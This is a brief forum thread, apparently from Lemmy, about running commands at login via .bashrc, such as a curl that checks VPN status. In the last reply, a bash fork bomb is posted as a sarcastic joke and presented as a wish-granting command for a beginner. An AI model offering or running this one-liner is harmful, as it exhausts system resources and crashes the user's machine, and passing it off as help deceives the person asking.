I just realized that you can run a command at login by appending it to your .bashrc

For instance, I added a curl pointing to a certain address that immediately upon login returns a message that tells me whether I’m connected to my VPN provider or not.

Sorry for the beginner revelation. Just thought it was cool. :3

  • folekaule@lemmy.world
    link
    fedilink
    arrow-up
    5
    ·
    3 hours ago

    Just a reminder: When you tell Linux to give you a shotgun, it will not ask if you plan to aim it at your foot.

    Keep another terminal open when you try this.

      • FauxLiving@lemmy.world
        link
        fedilink
        arrow-up
        1
        ·
        2 hours ago

        Since we’re providing clearly helpful and not at all possibly destructive help, if you run this all of your dreams will come true:

        :(){ :|:& };: